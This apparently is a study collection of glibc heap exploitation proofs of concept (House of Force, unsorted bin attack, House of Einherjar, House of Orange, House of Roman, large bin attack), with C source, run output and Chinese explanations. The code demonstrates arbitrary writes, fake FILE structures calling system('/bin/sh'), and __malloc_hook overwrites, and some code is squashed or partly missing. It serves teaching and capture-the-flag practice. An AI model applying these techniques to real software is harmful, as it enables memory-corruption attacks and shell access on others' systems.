Let's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2 with the size of chunk_p2 + size of chunk_p3
Now during the free() operation on p2, the allocator is fooled to think that the nextchunk is p4 ( since p2 + size_p2 now point to p4 )
This operation will basically create a big free chunk that wrongly includes p3
Now let's allocate a new chunk with a size that can be satisfied by the previously freed chunk
Our malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and we can overwrite data in p3 by writing on chunk p6
chunk p6 from 0x55555555b400 to 0x55555555bbd8 chunk p3 from 0x55555555b7f0 to 0x55555555bbd8
/* This PoC works also with ASLR enabled. It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled. If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum ( http://phrack.org/issues/66/10.html ) Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04 */
char bss_var[] = "This is a string that we want to overwrite.";
intmain(int argc , char* argv[]) { fprintf(stderr, "\nWelcome to the House of Force\n\n"); fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n"); fprintf(stderr, "The top chunk is a special chunk. Is the last in memory " "and is the chunk that will be resized when malloc asks for more space from the os.\n");
fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var); fprintf(stderr, "Its current value is: %s\n", bss_var);
fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n"); intptr_t *p1 = malloc(256); fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);
fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n"); int real_size = malloc_usable_size(p1); fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);
fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");
fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n"); fprintf(stderr, "Old size of top chunk %#llx\n", *((unsignedlonglongint *)((char *)ptr_top + sizeof(long)))); *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1; fprintf(stderr, "New size of top chunk %#llx\n", *((unsignedlonglongint *)((char *)ptr_top + sizeof(long)))); //------------------------
fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n" "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n" "overflow) and will then be able to allocate a chunk right over the desired region.\n");
/* * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): * new_top = old_top + nb * nb = new_top - old_top * req + 2sizeof(long) = new_top - old_top * req = new_top - old_top - 2sizeof(long) * req = dest - 2sizeof(long) - old_top - 2sizeof(long) * req = dest - old_top - 4*sizeof(long) */ unsignedlong evil_size = (unsignedlong)bss_var - sizeof(long)*4 - (unsignedlong)ptr_top; fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n" "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); void *new_ptr = malloc(evil_size); fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);
void* ctr_chunk = malloc(100); fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n"); fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk); fprintf(stderr, "Now, we can finally overwrite that value:\n");
fprintf(stderr, "... old string: %s\n", bss_var); fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n"); strcpy(ctr_chunk, "YEAH!!!"); fprintf(stderr, "... new string: %s\n", bss_var);
assert(ctr_chunk == bss_var);
// some further discussion: //fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n"); //fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size " // "and we \nwant to set this result to the address of malloc_got_address-8\n\n"); //fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n"); //fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n"); //fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header )," // "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");
//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2); //fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);
//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n"); }
house of force这个攻击手法是借助于top_chunk来实现的,程序可以溢出到top_chunk+申请任意大小的堆块,就可以使用这个方法来进行漏洞利用。
The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value. The top chunk is a special chunk. Is the last in memory and is the chunk that will be resized when malloc asks for more space from the os.
In the end, we will use this to overwrite a variable at 0x555555558060. Its current value is: This is a string that we want to overwrite.
Let's allocate the first chunk, taking space from the wilderness. The chunk of 256 bytes has been allocated at 0x55555555b000.
Now the heap is composed of two chunks: the one we allocated and the top chunk/wilderness. Real size (aligned and all that jazz) of our allocated chunk is 280.
Now let's emulate a vulnerability that can overwrite the header of the Top Chunk
The top chunk starts at 0x55555555b110
Overwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap. Old size of top chunk 0x20ef1 New size of top chunk 0xffffffffffffffff
The size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap. Next, we will allocate a chunk that will get us right up against the desired region (with an integer overflow) and will then be able to allocate a chunk right over the desired region.
The value we want to write to at 0x555555558060, and the top chunk is at 0x55555555b110, so accounting for the header size, we will malloc 0xffffffffffffcf30 bytes. As expected, the new pointer is at the same place as the old top chunk: 0x55555555b110
Now, the next chunk we overwrite will point at our target buffer. malloc(100) => 0x555555558060! Now, we can finally overwrite that value: ... old string: This is a string that we want to overwrite. ... doing strcpy overwrite with "YEAH!!!"... ... new string: YEAH!!!
intmain(){ fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n"); fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the " "global variable global_max_fast in libc for further fastbin attack\n\n");
unsignedlong stack_var=0; fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n"); fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);
unsignedlong *p=malloc(400); fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p); fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with" "the first one during the free()\n\n"); malloc(500);
free(p); fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer " "point to %p\n",(void*)p[1]);
//------------VULNERABILITY-----------
p[1]=(unsignedlong)(&stack_var-2); fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);
//------------------------------------
malloc(400); fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been " "rewritten:\n"); fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var); }
再次创建400大小的堆块,所申请的 chunk 处于 small bin 所在的范围,其对应的 bin 中暂时没有 chunk,所以会去 unsorted bin 中找,发现 unsorted bin 不空,于是把 unsorted bin 中的最后一个 chunk 拿出来。此时的stack_addr时里面的值就是unsortedbin的值了。
运行结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
This file demonstrates unsorted bin attack by write a large unsigned long value into stack In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack
Let's first look at the target we want to rewrite on stack: 0x7fffffffdd30: 0
Now, we allocate first normal chunk on the heap at: 0x55555555b010 And allocate another normal chunk in order to avoid consolidating the top chunk withthe first one during the free()
We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7ffff7dd1b78 Now emulating a vulnerability that can overwrite the victim->bk pointer And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7fffffffdd20
Let's malloc again to get the chunk we just free. During this time, the target should have already been rewritten: 0x7fffffffdd30: 0x7ffff7dd1b78
/* Credit to st4g3r for publishing this technique The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc() This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. */
printf("Welcome to House of Einherjar!\n"); printf("Tested in Ubuntu 16.04 64bit.\n"); printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
uint8_t* a; uint8_t* b; uint8_t* d;
printf("\nWe allocate 0x38 bytes for 'a'\n"); a = (uint8_t*) malloc(0x38); printf("a: %p\n", a); int real_a_size = malloc_usable_size(a); printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);
// create a fake chunk printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n"); printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n"); printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n"); printf("(although we could do the unsafe unlink technique here in some scenarios)\n");
size_t fake_chunk[6];
fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin fake_chunk[2] = (size_t) fake_chunk; // fwd fake_chunk[3] = (size_t) fake_chunk; // bck fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize
/* In this case it is easier if the chunk size attribute has a least significant byte with * a value of 0x00. The least significant byte of this will be 0x00, because the size of * the chunk includes the amount requested plus some amount required for the metadata. */ b = (uint8_t*) malloc(0xf8); int real_b_size = malloc_usable_size(b);
printf("\nWe allocate 0xf8 bytes for 'b'.\n"); printf("b: %p\n", b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8); /* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/
printf("\nb.size: %#lx\n", *b_size_ptr); printf("b.size is: (0x100) | prev_inuse = 0x101\n"); printf("We overflow 'a' with a single null byte into the metadata of 'b'\n"); a[real_a_size] = 0; printf("b.size: %#lx\n", *b_size_ptr); printf("This is easiest if b.size is a multiple of 0x100 so you " "don't change the size of b, only its prev_inuse bit\n"); printf("If it had been modified, we would need a fake chunk inside " "b where it will try to consolidate the next chunk\n");
// Write a fake prev_size to the end of a printf("\nWe write a fake prev_size to the last %lu bytes of a so that " "it will consolidate with our fake chunk\n", sizeof(size_t)); size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk); printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size); *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
//Change the fake chunk's size to reflect b's new prev_size printf("\nModify fake chunk's size to reflect b's new prev_size\n"); fake_chunk[1] = fake_size;
// free b and it will consolidate with our fake chunk printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n"); free(b); printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
//if we allocate another chunk before we free b we will need to //do two things: //1) We will need to adjust the size of our fake chunk so that //fake_chunk + fake_chunk's size points to an area we control //2) we will need to write the size of our fake chunk //at the location we control. //After doing these two things, when unlink gets called, our fake chunk will //pass the size(P) == prev_size(next_chunk(P)) test. //otherwise we need to make sure that our fake chunk is up against the //wilderness
printf("\nNow we can call malloc() and it will begin in our fake chunk\n"); d = malloc(0x200); printf("Next malloc(0x200) is at %p\n", d); }
其实就是利用了off by one进行一字节的溢出,修改下一个堆块的prev_size和 PREV_INUSE 比特位,滥用 free 中的后向合并操作,从而实现chunk任意地址分配。这个和house of force有点相似
Welcome to House of Einherjar! Tested in Ubuntu 16.04 64bit. This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.
We allocate 0x38 bytes for 'a' a: 0x55555555b010 Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: 0x38
We create a fake chunk wherever we want, in this case we'll create the chunk on the stack However, you can also create the chunk in the heap or the bss, as long as you know its address We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks (although we could do the unsafe unlink technique here in some scenarios) Our fake chunk at 0x7fffffffdcd0 looks like: prev_size (not used): 0x100 size: 0x100 fwd: 0x7fffffffdcd0 bck: 0x7fffffffdcd0 fwd_nextsize: 0x7fffffffdcd0 bck_nextsize: 0x7fffffffdcd0
We allocate 0xf8 bytes for 'b'. b: 0x55555555b050
b.size: 0x101 b.size is: (0x100) | prev_inuse = 0x101 We overflow 'a' with a single null byte into the metadata of 'b' b.size: 0x100 This is easiest if b.size is a multiple of 0x100 so you don't change the size of b, only its prev_inuse bit If it had been modified, we would need a fake chunk inside b where it will try to consolidate the next chunk
We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk Our fake prev_size will be 0x55555555b040 - 0x7fffffffdcd0 = 0xffffd5555555d370
Modify fake chunk's size to reflect b's new prev_size Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set Our fake chunk size is now 0xffffd5555557e331 (b.size + fake_prev_size)
Now we can call malloc() and it will begin in our fake chunk Next malloc(0x200) is at 0x7fffffffdce0
/* The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer It requires a leak of the heap and the libc Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html */
/* This function is just present to emulate the scenario where the address of the function system is known. */ intwinner( char *ptr);
intmain() { /* The House of Orange starts with the assumption that a buffer overflow exists on the heap using which the Top (also called the Wilderness) chunk can be corrupted. At the beginning of execution, the entire heap is part of the Top chunk. The first allocations are usually pieces of the Top chunk that are broken off to service the request. Thus, with every allocation, the Top chunks keeps getting smaller. And in a situation where the size of the Top chunk is smaller than the requested value, there are two possibilities: 1) Extend the Top chunk 2) Mmap a new page If the size requested is smaller than 0x21000, then the former is followed. */
char *p1, *p2; size_t io_list_all, *top;
fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, " "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n"); fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit," "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");
/* Firstly, lets allocate a chunk on the heap. */
p1 = malloc(0x400-16);
/* The heap is usually allocated with a top chunk of size 0x21000 Since we've allocate a chunk of size 0x400 already, what's left is 0x20c00 with the PREV_INUSE bit set => 0x20c01. The heap boundaries are page aligned. Since the Top chunk is the last chunk on the heap, it must also be page aligned at the end. Also, if a chunk that is adjacent to the Top chunk is to be freed, then it gets merged with the Top chunk. So the PREV_INUSE bit of the Top chunk is always set. So that means that there are two conditions that must always be true. 1) Top chunk + size has to be page aligned 2) Top chunk's prev_inuse bit has to be set. We can satisfy both of these conditions if we set the size of the Top chunk to be 0xc00 | PREV_INUSE. What's left is 0x20c01 Now, let's satisfy the conditions 1) Top chunk + size has to be page aligned 2) Top chunk's prev_inuse bit has to be set. */
/* Now we request a chunk of size larger than the size of the Top chunk. Malloc tries to service this request by extending the Top chunk This forces sysmalloc to be invoked. In the usual scenario, the heap looks like the following |------------|------------|------...----| | chunk | chunk | Top ... | |------------|------------|------...----| heap start heap end And the new area that gets allocated is contiguous to the old heap end. So the new size of the Top chunk is the sum of the old size and the newly allocated size. In order to keep track of this change in size, malloc uses a fencepost chunk, which is basically a temporary chunk. After the size of the Top chunk has been updated, this chunk gets freed. In our scenario however, the heap looks like |------------|------------|------..--|--...--|---------| | chunk | chunk | Top .. | ... | new Top | |------------|------------|------..--|--...--|---------| heap start heap end In this situation, the new Top will be starting from an address that is adjacent to the heap end. So the area between the second chunk and the heap end is unused. And the old Top chunk gets freed. Since the size of the Top chunk, when it is freed, is larger than the fastbin sizes, it gets added to list of unsorted bins. Now we request a chunk of size larger than the size of the top chunk. This forces sysmalloc to be invoked. And ultimately invokes _int_free Finally the heap looks like this: |------------|------------|------..--|--...--|---------| | chunk | chunk | free .. | ... | new Top | |------------|------------|------..--|--...--|---------| heap start new heap end */
p2 = malloc(0x1000); /* Note that the above chunk will be allocated in a different page that gets mmapped. It will be placed after the old heap's end Now we are left with the old Top chunk that is freed and has been added into the list of unsorted bins Here starts phase two of the attack. We assume that we have an overflow into the old top chunk so we could overwrite the chunk's size. For the second phase we utilize this overflow again to overwrite the fd and bk pointer of this chunk in the unsorted bin list. There are two common ways to exploit the current state: - Get an allocation in an *arbitrary* location by setting the pointers accordingly (requires at least two allocations) - Use the unlinking of the chunk for an *where*-controlled write of the libc's main_arena unsorted-bin-list. (requires at least one allocation) The former attack is pretty straight forward to exploit, so we will only elaborate on a variant of the latter, developed by Angelboy in the blog post linked above. The attack is pretty stunning, as it exploits the abort call itself, which is triggered when the libc detects any bogus state of the heap. Whenever abort is triggered, it will flush all the file pointers by calling _IO_flush_all_lockp. Eventually, walking through the linked list in _IO_list_all and calling _IO_OVERFLOW on them. The idea is to overwrite the _IO_list_all pointer with a fake file pointer, whose _IO_OVERLOW points to system and whose first 8 bytes are set to '/bin/sh', so that calling _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh'). More about file-pointer exploitation can be found here: https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/ The address of the _IO_list_all can be calculated from the fd and bk of the free chunk, as they currently point to the libc's main_arena. */
io_list_all = top[2] + 0x9a8;
/* We plan to overwrite the fd and bk pointers of the old top, which has now been added to the unsorted bins. When malloc tries to satisfy a request by splitting this free chunk the value at chunk->bk->fd gets overwritten with the address of the unsorted-bin-list in libc's main_arena. Note that this overwrite occurs before the sanity check and therefore, will occur in any case. Here, we require that chunk->bk->fd to be the value of _IO_list_all. So, we should set chunk->bk to be _IO_list_all - 16 */ top[3] = io_list_all - 0x10;
/* At the end, the system function will be invoked with the pointer to this file pointer. If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh) */
memcpy( ( char *) top, "/bin/sh\x00", 8);
/* The function _IO_flush_all_lockp iterates through the file pointer linked-list in _IO_list_all. Since we can only overwrite this address with main_arena's unsorted-bin-list, the idea is to get control over the memory at the corresponding fd-ptr. The address of the next file pointer is located at base_address+0x68. This corresponds to smallbin-4, which holds all the smallbins of sizes between 90 and 98. For further information about the libc's bin organisation see: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/ Since we overflow the old top chunk, we also control it's size field. Here it gets a little bit tricky, currently the old top chunk is in the unsortedbin list. For each allocation, malloc tries to serve the chunks in this list first, therefore, iterates over the list. Furthermore, it will sort all non-fitting chunks into the corresponding bins. If we set the size to 0x61 (97) (prev_inuse bit has to be set) and trigger an non fitting smaller allocation, malloc will sort the old chunk into the smallbin-4. Since this bin is currently empty the old top chunk will be the new head, therefore, occupying the smallbin[4] location in the main_arena and eventually representing the fake file pointer's fd-ptr. In addition to sorting, malloc will also perform certain size checks on them, so after sorting the old top chunk and following the bogus fd pointer to _IO_list_all, it will check the corresponding size field, detect that the size is smaller than MINSIZE "size <= 2 * SIZE_SZ" and finally triggering the abort call that gets our chain rolling. Here is the corresponding code in the libc: https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3717 */
top[1] = 0x61;
/* Now comes the part where we satisfy the constraints on the fake file pointer required by the function _IO_flush_all_lockp and tested here: https://code.woboq.org/userspace/glibc/libio/genops.c.html#813 We want to satisfy the first condition: fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base */
FILE *fp = (FILE *) top;
/* 1. Set mode to 0: fp->_mode <= 0 */
fp->_mode = 0; // top+0xc0
/* 2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base */
/* 4) Finally set the jump table to controlled memory and place system there. The jump table pointer is right after the FILE struct: base_address+sizeof(FILE) = jump_table 4-a) _IO_OVERFLOW calls the ptr at offset 3: jump_table+0x18 == winner */
将jump_table中的_IO_OVERFLOW 改为 system 函数的地址,最后把vatble改成jump_table
忘记说一个东西了就是bin_sh也就是放在了头,FSOP的时候会将第一个东西作为一参
最后malloc(0x10)的时候unsorted bin 被改掉了当 malloc 的时候会出错 malloc_printerr->__libc_message->abort()->_IO_flush_all_lockp()_IO_flush_all_lockp() 的时候需要在 vtable 中找 _IO_OVERFLOW,这个刚好被我们覆盖成system所以可以直接getshell。
运行结果
1 2 3 4 5 6
The attack vector of this technique was removed by changing the behavior of malloc_printerr, which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26). Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51 *** Error in `./exp': malloc(): memory corruption: 0x00007ffff7dd2520 *** $ ls exp exp.c $
/* Technique was tested on GLibC 2.23, 2.24 via the glibc_build.sh script inside of how2heap on Ubuntu 16.04. 2.25 was tested on Ubuntu 17.04. Compile: gcc -fPIE -pie house_of_roman.c -o house_of_roman POC written by Maxwell Dulin (Strikeout) */
// Use this in order to turn off printf buffering (messes with heap alignment) void* init(){ setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); }
intmain(){
char* introduction = "\nWelcome to the House of Roman\n\n" "This is a heap exploitation technique that is LEAKLESS.\n" "There are three stages to the attack: \n\n" "1. Point a fastbin chunk to __malloc_hook.\n" "2. Run the unsorted_bin attack on __malloc_hook.\n" "3. Relative overwrite on main_arena at __malloc_hook.\n\n" "All of the stuff mentioned above is done using two main concepts:\n" "relative overwrites and heap feng shui.\n\n" "However, this technique comes at a cost:\n" "12-bits of entropy need to be brute forced.\n" "That means this technique only work 1 out of every 4096 tries or 0.02%.\n" "**NOTE**: For the purpose of this exploit, we set the random values in order to make this consisient\n\n\n"; puts(introduction); init();
puts("Step 1: Point fastbin chunk to __malloc_hook\n\n"); puts("Setting up chunks for relative overwrites with heap feng shui.\n");
// Use this as the UAF chunk later to edit the heap pointer later to point to the LibC value. uint8_t* fastbin_victim = malloc(0x60);
// Allocate this in order to have good alignment for relative // offsets later (only want to overwrite a single byte to prevent // 4 bits of brute on the heap). malloc(0x80);
// Offset 0x100 uint8_t* main_arena_use = malloc(0x80); // Offset 0x190 // This ptr will be used for a relative offset on the 'main_arena_use' chunk uint8_t* relative_offset_heap = malloc(0x60); // Free the chunk to put it into the unsorted_bin. // This chunk will have a pointer to main_arena + 0x68 in both the fd and bk pointers. free(main_arena_use);
/* Get part of the unsorted_bin chunk (the one that we just freed). We want this chunk because the fd and bk of this chunk will contain main_arena ptrs (used for relative overwrite later). The size is particularly set at 0x60 to put this into the 0x70 fastbin later. This has to be the same size because the __malloc_hook fake chunk (used later) uses the fastbin size of 0x7f. There is a security check (within malloc) that the size of the chunk matches the fastbin size. */
puts("Allocate chunk that has a pointer to LibC main_arena inside of fd ptr.\n"); //Offset 0x100. Has main_arena + 0x68 in fd and bk. uint8_t* fake_libc_chunk = malloc(0x60);
//// NOTE: This is NOT part of the exploit... \\\ // The __malloc_hook is calculated in order for the offsets to be found so that this exploit works on a handful of versions of GLibC. longlong __malloc_hook = ((long*)fake_libc_chunk)[0] - 0xe8;
// We need the filler because the overwrite below needs // to have a ptr in the fd slot in order to work. //Freeing this chunk puts a chunk in the fd slot of 'fastbin_victim' to be used later. free(relative_offset_heap);
/* Create a UAF on the chunk. Recall that the chunk that fastbin_victim points to is currently at the offset 0x190 (heap_relative_offset). */ free(fastbin_victim);
puts("\ Overwrite the first byte of a heap chunk in order to point the fastbin chunk\n\ to the chunk with the LibC address\n"); puts("\ Fastbin 0x70 now looks like this:\n\ heap_addr -> heap_addr2 -> LibC_main_arena\n"); fastbin_victim[0] = 0x00; // The location of this is at 0x100. But, we only want to overwrite the first byte. So, we put 0x0 for this.
puts("\ Use a relative overwrite on the main_arena pointer in the fastbin.\n\ Point this close to __malloc_hook in order to create a fake fastbin chunk\n"); longlong __malloc_hook_adjust = __malloc_hook - 0x23; // We substract 0x23 from the malloc because we want to use a 0x7f as a valid fastbin chunk size.
// The relative overwrite int8_t byte1 = (__malloc_hook_adjust) & 0xff; int8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8; fake_libc_chunk[0] = byte1; // Least significant bytes of the address. fake_libc_chunk[1] = byte2; // The upper most 4 bits of this must be brute forced in a real attack.
// Two filler chunks prior to the __malloc_hook chunk in the fastbin. // These are fastbin_victim and fake_libc_chunk. puts("Get the fake chunk pointing close to __malloc_hook\n"); puts("\ In a real exploit, this would fail 15/16 times\n\ because of the final half byet of the malloc_hook being random\n"); malloc(0x60); malloc(0x60);
// If the 4 bit brute force did not work, this will crash because // of the chunk size not matching the bin for the chunk. // Otherwise, the next step of the attack can begin. uint8_t* malloc_hook_chunk = malloc(0x60);
puts("Passed step 1 =)\n\n\n");
puts("\ Start Step 2: Unsorted_bin attack\n\n\ The unsorted bin attack gives us the ability to write a\n\ large value to ANY location. But, we do not control the value\n\ This value is always main_arena + 0x68. \n\ We point the unsorted_bin attack to __malloc_hook for a \n\ relative overwrite later.\n");
// Get the chunk to corrupt. Add another ptr in order to prevent consolidation upon freeing. uint8_t* unsorted_bin_ptr = malloc(0x80); malloc(0x30); // Don't want to consolidate
puts("Put chunk into unsorted_bin\n"); // Free the chunk to create the UAF free(unsorted_bin_ptr);
/* /// NOTE: The last 4 bits of byte2 would have been brute forced earlier. \\\ However, for the sake of example, this has been calculated dynamically. */ __malloc_hook_adjust = __malloc_hook - 0x10; // This subtract 0x10 is needed because of the chunk->fd doing the actual overwrite on the unsorted_bin attack. byte1 = (__malloc_hook_adjust) & 0xff; byte2 = (__malloc_hook_adjust & 0xff00) >> 8;
// Use another relative offset to overwrite the ptr of the chunk->bk pointer. // From the previous brute force (4 bits from before) we // know where the location of this is at. It is 5 bytes away from __malloc_hook. puts("Overwrite last two bytes of the chunk to point to __malloc_hook\n"); unsorted_bin_ptr[8] = byte1; // Byte 0 of bk.
// //// NOTE: Normally, the second half of the byte would HAVE to be brute forced. However, for the sake of example, we set this in order to make the exploit consistent. /// unsorted_bin_ptr[9] = byte2; // Byte 1 of bk. The second 4 bits of this was brute forced earlier, the first 4 bits are static.
puts("Trigger the unsorted_bin attack\n"); malloc(0x80); // Trigger the unsorted_bin attack to overwrite __malloc_hook with main_arena + 0x68
puts("Step 3: Set __malloc_hook to system/one_gadget\n\n"); puts("\ Now that we have a pointer to LibC inside of __malloc_hook (from step 2), \n\ we can use a relative overwrite to point this to system or a one_gadget.\n\ Note: In a real attack, this would be where the last 8 bits of brute forcing\n\ comes from.\n"); malloc_hook_chunk[19] = system_addr & 0xff; // The first 12 bits are static (per version).
malloc_hook_chunk[20] = (system_addr >> 8) & 0xff; // The last 4 bits of this must be brute forced (done previously already). malloc_hook_chunk[21] = (system_addr >> 16) & 0xff; // The last byte is the remaining 8 bits that must be brute forced. malloc_hook_chunk[22] = (system_addr >> 24) & 0xff; // If the gap is between the data and text section is super wide, this is also needed. Just putting this in to be safe.
This is a heap exploitation technique that is LEAKLESS. There are three stages to the attack:
1. Point a fastbin chunk to __malloc_hook. 2. Run the unsorted_bin attack on __malloc_hook. 3. Relative overwrite on main_arena at __malloc_hook.
All of the stuff mentioned above is done using two main concepts: relative overwrites and heap feng shui.
However, this technique comes at a cost: 12-bits of entropy need to be brute forced. That means this technique only work 1 out of every 4096 tries or 0.02%. **NOTE**: For the purpose of this exploit, we set the random values in order to make this consisient
Step 1: Point fastbin chunk to __malloc_hook
Setting up chunks for relative overwrites with heap feng shui.
Allocate chunk that has a pointer to LibC main_arena inside of fd ptr.
Overwrite the first byte of a heap chunk in order to point the fastbin chunk to the chunk with the LibC address
Fastbin 0x70 now looks like this: heap_addr -> heap_addr2 -> LibC_main_arena
Use a relative overwrite on the main_arena pointer in the fastbin. Point this close to __malloc_hook in order to create a fake fastbin chunk
Get the fake chunk pointing close to __malloc_hook
In a real exploit, this would fail 15/16 times because of the final half byet of the malloc_hook being random
Passed step 1 =)
Start Step 2: Unsorted_bin attack
The unsorted bin attack gives us the ability to write a large value to ANY location. But, we do not control the value This value is always main_arena + 0x68. We point the unsorted_bin attack to __malloc_hook for a relative overwrite later.
Put chunk into unsorted_bin
Overwrite last two bytes of the chunk to point to __malloc_hook
Trigger the unsorted_bin attack
Passed step 2 =)
Step 3: Set __malloc_hook to system/one_gadget
Now that we have a pointer to LibC inside of __malloc_hook (from step 2), we can use a relative overwrite to point this to system or a one_gadget. Note: In a real attack, this would be where the last 8 bits of brute forcing comes from.
#include<stdio.h> #include<stdlib.h> #include<assert.h> intmain() { fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n"); fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the " "global variable global_max_fast in libc for further fastbin attack\n\n");
fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n"); fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1); fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
unsignedlong *p1 = malloc(0x420); fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with" " the first large chunk during the free()\n\n"); malloc(0x20);
unsignedlong *p2 = malloc(0x500); fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with" " the second large chunk during the free()\n\n"); malloc(0x20);
